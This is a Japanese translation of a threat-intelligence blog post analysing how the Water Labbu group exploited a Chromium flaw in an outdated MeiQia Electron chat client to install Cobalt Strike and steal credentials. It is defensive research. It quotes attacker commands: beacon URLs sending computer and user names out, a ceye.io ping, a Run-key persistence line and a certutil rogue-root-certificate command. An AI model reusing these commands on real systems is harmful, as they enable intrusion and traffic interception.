サイバー脅威
攻撃グループ「Water Labbu」がElectronベースのアプリケーションを不正使用する手口
攻撃グループ「Water Labbu」のブログシリーズ第1回目では、当該グループが他の詐欺グループの不正なWebサイトを侵害することによって暗号資産を盗み出した手口について解説しました。シリーズ第2回目となる今回の記事では、Water Labbuが他の詐欺グループのWebサイトを侵害するために、カスタマサポート用アプリを攻撃用のコードで書き換えて不正使用した手口について解説します。
攻撃グループ「Water Labbu」のブログシリーズ第1回目では、当該グループが他の詐欺グループの不正なWebサイトを侵害することによって暗号資産を盗み出した手口について解説しました。シリーズ第2回目となる今回の記事では、Water Labbuが他の詐欺グループのWebサイトを侵害するために、カスタマサポート用アプリを攻撃用のコードで書き換えて不正使用した手口について解説します。
オンラインマルウェア解析ツール「Virus Total」を使った調査により、今回の攻撃キャンペーンでは、以下のハッシュ値のCobalt Strikeのステージャ型ローダが使用されたことが判明しました。
SHA-256: b81edcbf1a0b56d0f401dcfe4a6ae4d293663b42f120e60579353b6aa86bb105
Virus Totalによるサンドボックス環境の挙動を解析した結果、当該ローダは、Cobalt Strikeのインスタンスを起動し、感染状況のレポートデータを送信するように指示したことが分かりました。送信先はlinkstometa[.]comであり、これはブログシリーズ第1回目で挙げた残高情報の収集用サーバ、および暗号資産窃取用スクリプトの配布用サーバと同一のものです。
初期調査
Cobalt Strikeのインスタンスは、永続化のためにレジストリキーを追加し、Water Labbuのオンラインコードリポジトリから攻撃用ファイルを読み込ませていたことが分かりました。当該リポジトリには、脆弱性「CVE-2021-21220(Chromiumのバージョン89.0.4389.128以下に影響がある)」を突いてCobalt Strikeのステージャを起動するための攻撃用ファイルが複数含まれていました。この他にも、中国語のカスタマサポートアプリ「MeiQia(美洽)」を狙って攻撃するように作られたファイルが確認されました。MeiQiaはWebサイト上にライブチャット機能を公開可能なデスクトップアプリであり、その開発にはChromiumのコア機能によって動作するフレームワーク「ElectronJS」が使用されました。この点で、Chromiumが持つ脆弱性は、MeiQia側にも引き継がれると言えます。
Water Labbuの攻撃キャンペーンで侵害された暗号資産詐欺用Webサイトの中には、サイト利用者との簡便なコミュニケーションツールとしてMeiQiaを使用しているものが数多く見られました。このことより、Water Labbuは、MeiQiaのライブチャットウィンドウから攻撃用のファイルやリンクを送りつけたと推測されます。これを裏付ける証拠の1つが、調査時に発見された攻撃用のHTMLページであり、その中には暗号資産の出金確認情報に見えるスクリーンショットが貼り付けられていました。今回侵害を受けた詐欺グループは、脆弱な古いバージョンのMeiQia管理用クライアントからこのHTMLを開いた際にWater Labbuに感染したと考えられます。
感染チェーン
一連の感染は、大元の詐欺グループ(Water Labbuによる攻撃の被害者)が、恐らくライブチャット経由で送られたであろう攻撃用Webページを開いたところから始まります。Electronのセキュリティに関する最近の調査では、脆弱性「CVE-2021-21220」を突いてElectronベースのアプリケーションを不正使用する攻撃シナリオが示されました。このシナリオでは、クロスサイトスクリプティング(XSS:Cross-Site Scripting)のテクニックを用いることで、攻撃用サイトをサンドボックス外のウィンドウにレンダリングする手口が用いられています。
Water Labbuによる攻撃用HTMLページの内容を調査したところ、上述のChromium脆弱性を突いてMeiQiaを攻撃するように作成されたものが発見されました。大元の詐欺グループは、この脆弱性を持つと考えられる古いバージョンのMeiQiaを使用していました。MeiQiaのコードを分析すると、特に古いバージョンは、外部サイトへのリンクを開く際にElectronJSアプリケーション内部でそのサイト内容をレンダリングし、サンドボックス環境を使用しないことが分かります。一方、MeiQiaの最新版は新しいChromiumのコア機能によって動作し、外部サイトへのリンクを開く際にもElectronJSアプリケーション内部ではなくシステムデフォルトのブラウザ上でレンダリングするように修正されているため、当該の脆弱性は存在しません。
攻撃用のHTMLページ内には、ブラウザのヘッダー文字列「User-Agent」を用いて標的端末における脆弱性の有無を判定するJavaScriptが埋めこまれています。この処理では、User-Agentから「electron」や「x64」といった文字列を検索し、Electronベースのアプリケーションやx64アーキテクチャの識別を行います。さらに「0.0.8 Chrome/83」、「s/0.0.7」、「s/0.0.6」といった文字列も検索し、HTMLを表示しているブラウザが脆弱性のあるChromiumまたはMeiQiaに該当するかを判定します。User-Agentにこれらの文字列が含まれていない場合は、被害者をMeiQiaの公式Webサイトにリダイレクトさせるか、新しいiframeを作成して銀行取引や暗号資産取引履歴のスクリーンショットを表示します。Water Labbuはこうしたスクリーンショットを用いることで、標的の暗号資産詐欺グループから何らかのコンタクトを取ってくるように仕向けたものと考えられます。
攻撃用HTMLのスクリプトによって標的に脆弱性があると判定された場合、次の処理に必要な追加データの読み込みが行われます。
最終段階では、スクリプト「tongji.js(中国語の痛擊:激しい攻撃の意味)」の作成と読み込みが行われます。このファイルはWater Labbuのコードリポジトリに格納されています。tongji.jsは脆弱性「CVE-2021-21220」を突いた攻撃を行うJavaScriptであり、Cobalt Strikeステージャのシェルコードが中に含まれています。当該脆弱性については、Metasploitモジュールが利用可能な状態で公開されています。今回の攻撃では、このモジュールが一層または二層の難読化(sojson.v4、jsjiami.com.v5)を施した状態で再利用され、最終的にはカスタムしたシェルコードが実行されます。
tongji.jsに埋めこまれたシェルコードはCobalt Strikeステージャか複雑なバッチコマンドのいずれかであり、認証情報の窃取、追加のファイルやスクリプトのダウンロード、実行機能が含まれています。
シェルコードがステージャの場合もバッチスクリプトの場合も、それによって行われる不正な動作は下記の通りほとんど同じであることが調査によって判明しました。
- Cobalt Strikeのダウンロードとインストール
- クッキー情報やその他重要なファイルの窃取
- アプリ「MeiQia」のダウンロードと書き換え
- その他スパイウェアのダウンロード
- 感染状況を示すデータをレポート情報収集用サーバに送信
Cobalt Strikeステージャ
Cobalt Strikeステージャは通常、ペイロードを検知されにくくするために暗号化(XOR、AES)やエンコード(Base64、16進数)が施され、Go言語用シェルコードランナーに埋めこまれます。当該マルウェアの運用者は恐らく、こちらの記事内容に触発されたと考えられます。
ファイル窃取用バッチスクリプト
このバッチスクリプトは「\desktop\」および「\Telegram Desktop\」から「*.txt」のファイルを、以下のパスからMeiQiaのクッキー情報を窃取します。
\AppData\Roaming\com.meiqia.windows\cookies
ここで窃取された情報は、特殊な細工を施したHTMLファイル内に埋め込まれ、ヘッドレスのChrome(ユーザインターフェースが表示されない)やInternet Explorer(Chromeでの送信に失敗した場合)を介して情報収集用サーバに送られます。HTMLファイルには、1つの送信用フォームと、コンピュータ名を格納するテキストボックス(inputタグ)、窃取したデータを格納するテキストエリア(textareaタグ)が含まれます。タイムアウトを設定した時間が経過すると、HTML内のスクリプトによって、各データがタイポスクワッティングで偽装されたドメインに自動で送信されます。
Cobalt Strikeのダウンロードおよびインストール用バッチスクリプト
Cobalt Strikeがまだインストールされていない場合、本スクリプトによってダウンロードと起動が行われます。難読化のためにGo言語用シェルコードランナーが使用されます。
感染状況のレポートデータ収集用バッチスクリプト
感染の成功や失敗などの情報をWater Labbu側で把握できるように、本バッチスクリプトはCOMPUTERNAMEやUSERNAMEといったパラメータをレポート情報収集用サーバに送信します。特に失敗時については、下記パラメータを送信する可能性があります。
https://<レポート情報収集用サーバ>/?a=%COMPUTERNAME%&f=0&user=%USERNAME%
https://<レポート情報収集用サーバ>/?b=%COMPUTERNAME%&f=0&user=%USERNAME%
https://<レポート情報収集用サーバ>/?z=%COMPUTERNAME%user=%USERNAME%_fail
アプリ「MeiQia」が見つからない場合は、パラメータ「a」のエラーレポートを送信します。アプリは見つかったが書き換えが済んでいない場合はパラメータ「b」のエラーレポートを送信します。また、コマンド「icalcs」による任意アクセス制御リストの変更に失敗した場合は、パラメータ「z」のエラーレポートを送信します。
さらに、別のスクリプトがウイルス対策ソフト「360 Total Security」に該当するプロセス「360tray」の起動状況を確認し、レポート情報収集用サーバに送信します。
https://<レポート情報収集用サーバ>/c/?c=%computername%
https://<レポート情報収集用サーバ>/c/?c=%computername%_no360
以上の他、「ceye.io」をはじめとするDNSおよびHTTP監視用のプラットフォームを利用して感染状況のデータを取得するケースも確認されました。
ping %computername%.<固有の識別子>.ceye.io
MeiQiaとChromeのダウンロードおよびインストール用バッチスクリプト
このバッチスクリプトは、必要に応じて脆弱なバージョンのChrome(89.0.4389.114)や書き換え済みのMeiQiaを有名なバージョン管理サイトからダウンロードします。これらのファイルは感染システムへのダウンロード後、実行されます。
さらに本スクリプトは、永続化のためにレジストリキー「Run」を下記の値で変更します。
chrome.exe --headless --no-sandbox --user-data-dir=<ユーザデータのパス> <CVE-2021-21220を突く攻撃用ファイルのパス>
脆弱なバージョンのChromeはスクリプトによってインストール済みであるため、次にオペレーティングシステム(OS)が再起動した際には、当該脆弱性を突く形で攻撃用のシェルコード(Cobalt Strikeまたはカスタムしたもの)が自動実行されます。
不正な証明書のインストールおよびプロキシ設定値「AutoConfigURL」の変更用バッチスクリプト
このスクリプトは、証明書関連のユーティリティ「certutil」を用いて信頼されたルート証明書を追加登録します。
certutil -addstore -f root "%userprofile%\<証明書へのパス>.pem
上記コマンドにより、「mitmproxy-ca-cert.pem」という名前のファイルが信頼されたルート証明書として追加されます。今回の調査ではこれに相当する証明書を入手できませんでしたが、ファイル名から判断すると、プロキシツール「mitmproxy」によって生成されたものと推測されます。
続いて、スクリプトは下記レジスト値「AutoConfigURL」を変更します。
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings
この設定は、ユーザが通信を行う際に、指定のドメインをプロキシ経由で接続させるために使用されます。標的端末には先述の通り不正なルート証明書が登録されているため、攻撃者は被害者側から来るHTTPS通信を復号し、入力された認証情報などを窃取することが可能になります。
追加スクリプトのダウンロードおよび実行用バッチスクリプト(.ps1)
これらの追加スクリプトは下記の処理を行います。
- 「windows update」のタイトルを持つウィンドウを隠す
- 被害者環境に潜伏して挙動を監視するために「osmonitor」をダウンロードして起動
- アプリ「MeiQia」の書き換え版アーカイブ「app0.2.asar」をダウンロードするか、書き換え用のスクリプトを実行して正規版と置き換える
- MeiQiaを再起動して書き換え版を稼働させる
- ディレクトリ「Recent Files」配下から「*.txt」および「*.xl*」のファイルを、「Desktop」から「*.lnk」、「*.txt」、および「*.xl*」のファイル内容を窃取する他、プロセスの一覧とアクティブなネットワーク接続情報の一覧を作成し、これらをZIPアーカイブにまとめてOS情報収集用サーバに送信
アプリ「MeiQia」の書き換え版
MeiQiaの書き換えは、アーカイブ「app.asar」に含まれるファイルを変更することで行われます。今回の事例で変更対象となったファイルおよび内容は以下のとおりです。
.\modules\create-window.js
- 自動更新の無効化
- ウィンドウサイズの固定値設定を有効化
- デフォルトURL(https://app.meiqia.com/)を不正なものに変更
- MeiQiaのアプリケーションコンテキスト内で実行される追加用のJavaScriptファイルを埋め込む
被害者が新しいMeiQiaのウィンドウを開くと、内部関数「new-window」に埋めこまれたスクリプトが稼働し、Webページのタイトルをチェックします。タイトルに文字列「美洽(MeiQia)」が含まれていない場合、スクリプトは被害者をMeiQiaの公式Webサイトにリダイレクトさせ、そのページ内で追加のJavaScriptを実行します。
追加スクリプトの読み込みに使用されたリンクの多くは、調査時点ですでに無効になっていました。しかし、スクリプト「apo.js(中国語の阿婆:義母の意味)」をWater Labbuが管理するコードリポジトリから読み込むためのリンクは、依然として有効でした。
また、Webページのタイトル中に文字列「登录(中国語でログインの意味)」が含まれる場合、スクリプトはページ内からIDが「email」または「password」のDOM要素を選択し、その値をリモートサーバである app [.] meiqiacontents [.] comに送信します。また、タイトルに「美(中国語でMeiと読む)」が含まれている場合、スクリプトはWebサイトのクッキー情報を収集して、同じリモートサーバに送信します。
被害者が読み込み対象のURLを指定せずに新規ウィンドウを開いた場合、アプリケーションのデフォルトURL(APP_URL)が読み込まれます。今回の攻撃では、デフォルトURLも不正な配布用サーバであるmmmm[.]whg7[.]ccに書き換えられています。この配布用サーバは、アクセス元が確かにElectronベースのアプリケーションであることを確認するため、User-Agentに「Electron」の文字列が含まれている場合にのみ応答するように制御されています。
上述の配布用サーバからは、被害者を正規のMeiQiaのデフォルトURLにリダイレクトさせるコードが返却されます。このコードはさらに小さなウィンドウを表示させ、その中で複数回のリダイレクトを伴う別のURLを読み込ませます。最終的には脆弱性「CVE-2021-21220」を突いてCobalt Strikeステージャの起動を試みます。
認証情報フィッシングの手口
Water Labbuはタイポスクワッティングによる偽装ドメイン名「meiqla.com(meiqia.comに偽装)」を登録していたことが判明しました。このWebサイトの見た目は正規のものと同一ですが、際立って不正な機能が1つだけ埋めこまれていました。
図14に示す関数「lc()」は、被害者のユーザが入力したメールアドレスとパスワードを読み取り、それを情報記録用のPHPスクリプトに送信します。その後、ユーザを正規のWebサイト「meiqia.com」にリダイレクトさせます。
結論
Water Labbuは、複雑化した攻撃手段やインフラを備え、他の攻撃グループによる手口や成果を自身の目的のために躊躇なく転用しようとする、危険性の高い新規の攻撃グループです。今回の事例では、既存の詐欺用Webサイトに設置されたライブチャットアプリを標的として、フレームワーク「ElectronJS」の脆弱性を突いた攻撃を展開しました。
本攻撃グループが用いた手口の根幹は、書き換え未適用のMeiQiaを利用する詐欺グループを攻撃するために、Chromiumの既知の脆弱性を不正利用したことです。ユーザが大元の詐欺グループだけでなくWater Labbuとも対峙している点は、特記に値します。これを踏まえると、企業や組織、個人ユーザの方は、こうしたソフトウェア類の脆弱性を突いた攻撃を阻止するためにも、アプリケーションやシステムをより安全な最新版にアップデートすることを推奨します。
Water LabbuがDApps(分散型アプリ)を侵害して自身の目的のために転用した際の手口については、ブログシリーズの第1回目をご確認ください。
侵入の痕跡(Indicators of Compromise、IoC)
侵入の痕跡(IoC)はこちらで確認してください。
参考記事:
How Water Labbu Exploits Electron-Based Applications
By: Joseph C Chen, Jaromir Horejsi
翻訳:清水 浩平(Core Technology Marketing, Trend Micro™ Research)